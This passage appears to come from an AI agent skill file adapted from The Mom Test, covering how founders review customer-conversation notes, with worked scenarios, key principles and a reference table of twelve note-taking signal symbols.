Trigger: "I had three conversations this week about my meal planning app. Here are my notes: 'Sarah - busy mom, hates grocery shopping, tried Blue Apron but too expensive, husband won't eat weird food. Mike - personal trainer, tracks macros obsessively, uses MyFitnessPal but says it sucks for meal planning, spends 2 hours Sunday on meal prep. Lisa - college student, eats out constantly, knows it's unhealthy, has a budget of maybe $50/week for food, never cooks.'"
Process:
1. Diagnose: Solo founder, no team review, no signal categorization. Flag going-through-the-motions risk: are these conversations producing learning that changes plans?
2. Skip prep (conversations already happened).
3. Categorize each note with signal symbols.
4. Identify patterns and assumption updates.
5. Set next 3 learning goals.
Output (abbreviated):
```
## Categorized Notes
### Sarah (busy mom)
| # | Signal | Quote / Observation |
|---|--------|-------------------|
| 1 | :( [pain] | Hates grocery shopping |
| 2 | [workaround] | Tried Blue Apron |
| 3 | $ [money] | Blue Apron was too expensive (price sensitivity signal) |
| 4 | [obstacle] | Husband won't eat unfamiliar food (household constraint) |
### Mike (personal trainer)
| # | Signal | Quote / Observation |
|---|--------|-------------------|
| 1 | [goal] | Tracks macros obsessively (nutrition is a priority) |
| 2 | :( [workaround] | Uses MyFitnessPal but "says it sucks for meal planning" |
| 3 | [context] | Spends 2 hours Sunday on meal prep (significant time investment) |
### Lisa (college student)
| # | Signal | Quote / Observation |
|---|--------|-------------------|
| 1 | [context] | Eats out constantly, knows it is unhealthy |
| 2 | $ [money] | Budget ~$50/week for food |
| 3 | [obstacle] | Never cooks (skill/motivation barrier) |
## Pattern Analysis
- Mike is the strongest signal: has the problem, knows he has it, already
spends significant time on a workaround, uses competing tools. Closest
to an early adopter.
- Sarah has the problem but the household constraint (husband's food
preferences) may be a dealbreaker for your solution.
- Lisa has awareness but no urgency -- has not tried to solve the problem.
Unlikely early customer.
## Process Warning
You are reviewing notes alone. This is a learning bottleneck risk --
these insights need to reach your whole team (if you have one). If you
are a solo founder, consider finding an advisor to review with.
Also: these notes lack exact quotes. In future conversations, write
down verbatim customer words in quotation marks.
## Next 3 Learning Goals
1. How much would someone like Mike pay to eliminate Sunday meal prep?
(anchor to his current time investment, not a hypothetical price)
2. What specific part of meal planning is hardest -- recipe selection,
macro calculation, grocery list creation, or something else?
3. Have people like Mike actively searched for meal planning solutions
beyond MyFitnessPal? (tests whether the problem is important enough
to drive action)
```
---
**Scenario: Team diagnosing why their conversations feel unproductive**
Trigger: "We've done about 15 customer conversations over the past month for our HR analytics platform, but I feel like we're not making progress. We keep hearing positive things but nothing concrete is changing in our product plans."
Process:
1. Diagnose: Classic going-through-the-motions pattern. Positive feedback without plan changes = receiving compliments instead of learning. Check for all 8 symptoms.
2. Run diagnostic checklist against their described situation.
3. Recommend specific fixes.
Output (abbreviated):
```
## Diagnostic Results
Going-through-the-motions symptoms detected:
- [YES] They are complimenting you or your idea
-> "We keep hearing positive things" -- compliments are the fool's gold
of customer learning. They are shiny, distracting, and worthless.
- [YES] You got unexpected answers and they did not change your idea
-> "Nothing concrete is changing in our product plans" -- if 15
conversations have not changed anything, either you already know
everything (unlikely) or you are not asking important enough questions.
- [LIKELY] You were not scared of any questions you asked
-> Positive-only feedback across 15 conversations suggests the team
is avoiding the hard questions that could disprove their assumptions.
- [CHECK] You have not reviewed notes with your team
-> Ask: Are notes from all 15 conversations in a shared, reviewed
location? Or are they in one person's notebook?
## Recommended Fixes
1. For each of your next 3 conversations, identify one question that
terrifies you -- one where a bad answer would mean rethinking
your product. If no question scares you, you are not asking about
things that matter.
2. After each conversation, ask: "Did anything surprise us? Did
anything change what we believe?" If the answer is always no,
your questions are too safe.
3. Push for concrete commitments at the end of product meetings.
"That sounds great" is not a commitment. "Can I buy the prototype?"
is. See the `commitment-signal-evaluator` skill to evaluate your
meeting outcomes.
4. Review all 15 sets of notes with your full team. Categorize using
signal symbols. Look for patterns you missed individually.
```
## Key Principles
- **Customer learning is a team sport, not a solo mission** -- When all customer learning is stuck in one person's head, that person becomes a de-facto dictator wielding "the customer said so" as an unchallengeable trump card. Even if their interpretation is correct, learning that has not been shared cannot inform the team's decisions. Both business and product people need to participate in prep, attend at least some conversations, and review all notes together. The whole founding team must be represented.
- **The minimum viable prep is one question: "What do we want to learn?"** -- If you do not know what you are trying to learn, you should not bother having the conversation. Everything else in prep (desk research, role assignment, assumption mapping) is valuable but optional. This one question is not. It takes 5 minutes and transforms an aimless meeting into a focused learning opportunity.
- **Notes without review are worthless** -- Taking notes is necessary but not sufficient. The review is where learning actually transfers from paper to the team's shared understanding. It is tempting to skip because it feels like a non-step, but skipping it is how learning bottlenecks form. Disseminate learnings as quickly and directly as possible, using exact quotes wherever you can.
- **Unexpected answers that do not change plans are the clearest warning sign** -- If a customer tells you something surprising and your product plans remain unchanged, one of two things is true: either the information was not important (meaning you asked the wrong question), or the team is filtering out inconvenient truths. Either way, something in the process is broken.
- **Conversations are a tool, not an obligation** -- Talking to customers is a tool for de-risking your business. If it is not going to help or you do not want to do it, skip it. The alternative is worse: going through the motions, ticking the "learn from customers" checkbox, and wasting everyone's time. This process should make your business move faster, not slower. Spend an hour prepping, go talk to people. Do not spend a week on preparation -- anything more is stalling.
## References
- For the complete 12-symbol note-taking system with usage examples, see [note-taking-signal-symbols.md](references/note-taking-signal-symbols.md)
- For analyzing whether conversation questions are producing good data, use the `conversation-data-quality-analyzer` skill
- For evaluating whether meeting outcomes include real commitment signals, use the `commitment-signal-evaluator` skill
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Mom Test by Rob Fitzpatrick.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/note-taking-signal-symbols.md
# Note-Taking Signal Symbols Reference
12 standardized symbols for annotating customer conversation notes, organized into 3 categories. Use these during conversations to classify signals in real time, and during post-conversation review to categorize and sort learnings.
## Emotions (3 symbols)
Emotional signals dramatically change the weight of other data. A pain point mentioned with embarrassment or anger carries far more significance than one mentioned casually.
| Symbol | Text Shorthand | Meaning | When to Use |
|--------|---------------|---------|-------------|
| :) | `[excited]` | Excited, enthusiastic | Person shows genuine energy about a topic. Dig into what excites them and why. |
| :( | `[angry]` | Angry, frustrated | Person expresses frustration or outrage. This amplifies the significance of associated pain points. |
| :\| | `[embarrassed]` | Embarrassed, uncomfortable | Person seems sheepish or reluctant to admit something. Often reveals real pain they have been living with. |
**Why emotions matter:** Someone saying "that's a problem" should be interpreted completely differently depending on whether they are neutral, angry, or embarrassed about it. Pains and obstacles carry much more weight when accompanied by strong emotion.
**Tip:** You may add custom emotion symbols for your industry. Laughter, confusion, or defensiveness can all be meaningful signals worth capturing.
## Their Life (5 symbols)
These are the "bread and butter" symbols -- they capture the core elements of the customer's situation. Combine them with emotion symbols for weighted significance.
| Symbol | Text Shorthand | Meaning | When to Use |
|--------|---------------|---------|-------------|
| ⚡ | `[pain]` | Pain or problem | Person describes something that causes them difficulty, frustration, or wasted effort. |
| ⚽ | `[goal]` | Goal or job-to-be-done | Person describes an outcome they are trying to achieve or a job they need done. |
| □ | `[obstacle]` | Obstacle | Something preventing the person from solving their problem even though they want to. Important because you will likely need to deal with the same obstacle. |
| ↺ | `[workaround]` | Workaround | A makeshift solution the person has cobbled together. Strong signal -- people with workarounds have validated the problem through their own effort. |
| ^ | `[context]` | Background or context | Relevant context about their situation, industry, role, or environment. Not directly a problem or goal, but shapes interpretation of everything else. |
**Obstacle vs Pain:** Obstacles are things preventing a customer from solving their problems even though they want to. For example, corporate IT policy blocking use of preferred cloud services. The workaround (using personal phone, doing work at home) reveals how they cope.
## Specifics (4 symbols)
These capture actionable intelligence -- the kind of data that directly informs your next steps.
| Symbol | Text Shorthand | Meaning | When to Use |
|--------|---------------|---------|-------------|
| ☑ | `[feature]` | Feature request or purchasing criteria | Person describes a capability they want or a must-have requirement. Capture but do not obey -- dig into motivations. |
| $ | `[money]` | Money, budgets, or purchasing process | Any mention of budgets, pricing expectations, purchasing authority, approval processes, or current spend. |
| ♀ | `[person]` | Mentioned a specific person or company | A named individual or company. If someone they know, ask for an intro. If a competitor or alternate solution, research later. |
| ☆ | `[follow-up]` | Follow-up task | Something you need to do after the meeting -- send information, make an introduction, schedule next conversation, research a topic. Mark these prominently. |
**Feature requests:** As a rule, feature requests should be understood but not obeyed. When you hear one, dig into motivation: "Why do you want that?", "What would that let you do?", "How are you coping without it?"
**Money signals:** Budget and purchasing process information is always worth noting. Must-have purchasing criteria are even more important than feature requests.
**People mentions:** Write down specific names and companies. If it is someone they know, ask for an introduction at the end of the conversation. If it is a competitor or alternate solution, write it down to research later.
**Follow-up tasks:** Put a big star on items to follow up on after the meeting, especially next steps you promised as a condition of their commitment.
## Using Symbols in Practice
### During the conversation
Jot the symbol next to the note as shorthand. Combine emotion + life symbols for weighted entries:
```
:( [pain] "We spend 2 days every month reconciling invoices manually"
:| [workaround] "I built a spreadsheet macro but it breaks constantly"
[goal] "Want to close books by day 3 each month instead of day 10"
[obstacle] "Finance team won't approve any new tools until Q3 budget"
$ [money] "Currently paying $2K/month for legacy system nobody likes"
[person] "Talk to Sarah Chen at Acme Corp -- same problem, bigger team"
[follow-up] Send them the API docs they asked about
```
### After the conversation
When reviewing with your team, the symbols let you quickly sort and filter:
- Pull all `[pain]` notes across multiple conversations to find patterns
- Look for `[pain]` or `[obstacle]` notes with emotion markers -- these are the strongest signals
- Collect all `[workaround]` notes to understand the competitive landscape of existing solutions
- Gather `[money]` notes to inform pricing decisions
- Action all `[follow-up]` items promptly
### Note storage criteria
Your conversation notes should be stored so they are:
1. **Sortable** -- able to be sorted, mixed, and re-arranged by signal type
2. **Combinable** -- able to be merged with notes from other team members
3. **Permanent and retrievable** -- not lost in a notebook or buried in random files
4. **Isolated** -- not mixed with other random noise like to-do lists and meeting agendas
Index cards (one learning per card) or spreadsheet rows work well. Avoid writing customer conversation notes in your primary notebook -- they become unsearchable over months.
**Rule of thumb:** Notes are useless if you do not look at them.